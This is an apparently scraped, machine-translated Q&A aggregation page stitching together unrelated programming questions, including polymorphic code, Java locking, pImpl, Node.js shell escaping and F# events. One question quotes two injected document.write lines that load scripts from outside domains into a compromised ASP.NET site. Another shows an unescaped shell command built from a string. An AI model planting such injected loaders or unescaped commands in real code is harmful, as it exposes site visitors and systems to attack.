我最近遇到了Polymorphic Code这个术语,并且想知道是否有人可以建议在计算机程序中使用它的合法(即合法和商业合适的软件)理由?链接到现实世界的例子将不胜感激!
在有人回答之前,请告诉我们关于面向对象编程中多态的好处,请阅读以下多态代码定义(取自维基百科):
" 多态代码是使用多态引擎进行变异同时保持原始算法完整的代码.也就是说,代码每次运行时都会自行更改,但整个代码的功能根本不会改变. "
谢谢,MagicAndi.
更新
到目前为止的答案摘要:
我还被介绍了" 变形代码 " 这个术语.
我正在尝试这个教程 - > http://netbeans.org/kb/docs/ruby/rapid-ruby-weblog.html
但
它给了我这个错误:
PostsController #index中的NameError
未初始化的常量PostsController ::帖子
我不知道什么是错的
我有一个进程A,它在内存中包含一组带有一组记录的表(recordA,recordB等......)
现在,这个进程可以启动许多影响记录的线程,有时我们可以有2个线程试图访问同一条记录 - 这种情况必须被拒绝.特别是如果一个记录被一个线程锁定,我希望另一个线程中止(我不想BLOCK或WAIT).
目前我这样做:
synchronized(record)
{
performOperation(record);
}
Run Code Online (Sandbox Code Playgroud)
但是这导致了我的问题......因为当Process1正在执行操作时,如果Process2进入,则阻塞/等待同步语句,并且当Process1完成时,它执行操作.相反,我想要这样的东西:
if (record is locked)
return;
synchronized(record)
{
performOperation(record);
}
Run Code Online (Sandbox Code Playgroud)
有关如何实现这一目标的任何线索?任何帮助将非常感激.谢谢,
在阅读pImpl成语的一些内容时,我发现了类似这样的东西:
MyClass::MyClass() : pimpl_( new MyClassImp() )
第一:这是什么意思?
第二:语法是什么?
很抱歉这样的菜鸟.
我需要知道是否有任何方法可以为已部署在服务器上的JavaScript文件编写其他代码.
我遇到了ASP.NET 2.0网站的问题,它与我在某些页面上的JavaScript文件有关.问题是,当我将JavaScript文件与其他文件一起上传时,它可以正常工作,但是在一段时间(一两天)之后,JavaScript文件会被更改,并且每个文件的底部会添加两行.这两行是这样的:
document.write('<script src=http://kingsoftus.com/App_Code/tsx2.php ><\/script>');
document.write('<script src=http://eco-battery.co.uk/images/battguide.php ><\/script>');
Run Code Online (Sandbox Code Playgroud)
这导致我的aspx页面从这些未知的URL加载一些东西.这个东西会导致错误,并且aspx页面不会被加载或加载错误.我怀疑服务器上有什么问题,但我需要知道是否有人(病毒或黑客)可以将这两行添加到服务器上的任何JavaScript文件中.
我很好奇.NET属性Environment.ProcessorCount实际返回的内容.它是返回核心数,处理器数还是两者兼有?如果我的计算机有2个处理器,每个处理器有4个核心,将Environment.ProcessorCount返回2,4或8?
有没有可以为我们创建类图的免费工具?我们希望在解决方案上运行此软件,并让软件为我们生成类和关系的完整图表.类似UML的图表是最好的.我们目前有VSTS 2008,如果它是内置的,它会很棒.
当点击每个div时,如果单击div 1,它应该警告'1'或如果点击div 2则警告'5'.我试图尽可能地使这些代码变得容易,因为在更大的应用程序中需要这样做.
<html>
<head>
<style type="text/css">
#div1 { background-color: #00ff00; margin: 10px; padding: 10px; }
#div2 { background-color: #0000ff; margin: 10px; padding: 10px; }
</style>
<script type="text/javascript">
function init()
{
var total = 1;
var div1 = document.getElementById('div1'),
div2 = document.getElementById('div2');
var helper = function(event, id)
{
if (event.stopPropagation) event.stopPropagation();
if (event.preventDefault) event.preventDefault();
alert('id='+id);
}
div1.addEventListener('click', function(event) { helper(event, total); }, false);
total += 4;
div2.addEventListener('click', function(event) { helper(event, total); }, false);
}
</script>
</head>
<body onload="init();">
<div id="div1">1</div> …Run Code Online (Sandbox Code Playgroud) 在nodejs中,执行外部命令的唯一方法是通过sys.exec(cmd).我想调用外部命令并通过stdin给它数据.在nodejs中,似乎还没有一种方法可以打开命令然后将数据推送到它(只是执行并接收其标准+错误输出),所以看来我现在必须这样做的唯一方法是通过单个字符串命令,例如:
var dangerStr = "bad stuff here";
sys.exec("echo '" + dangerStr + "' | somecommand");
Run Code Online (Sandbox Code Playgroud)
像这样的问题的大多数答案都集中在nodegs(使用谷歌的V8 Javascript引擎)或其他语言(如Python)的本机功能的正则表达式.
我想逃避dangerStr,以便像上面那样组成一个exec字符串是安全的.如果有帮助,dangerStr将包含JSON数据.
我在游戏中发生了很多事件.我想控制这些事件发生的时间和顺序.
例如:
事件1:在屏幕上显示N帧的一些文本并播放声音效果
事件2:清除屏幕上的文本
我的解决方案(可能有一个更好的解决方案)是拥有包含事件的函数列表.事件执行其行为然后返回在游戏中发生的下一个事件.我想过使用List.map或List.collect,因为我实际上是在执行某些行为代码时将事件列表映射到新的事件列表.
在上面的示例中,Event1可以由两个函数组成:一个显示文本,另一个播放声音(因此需要列表).显示文本的函数将为N-1帧返回自身的副本,然后它将返回清除文本的Event2.播放声音功能将返回相当于无操作的声音.
如果这是一个很好的解决方案,我可以用C++或C#来做.我的目标是在F#中做同等或更好的解决方案.
javascript ×3
.net ×2
asp.net ×1
c# ×1
c++ ×1
constructor ×1
controller ×1
escaping ×1
f# ×1
function ×1
html ×1
java ×1
list ×1
map ×1
netbeans6.7 ×1
node.js ×1
pimpl-idiom ×1
ruby ×1
scope ×1
security ×1
shell ×1
syntax ×1
uml ×1
v8 ×1
xss ×1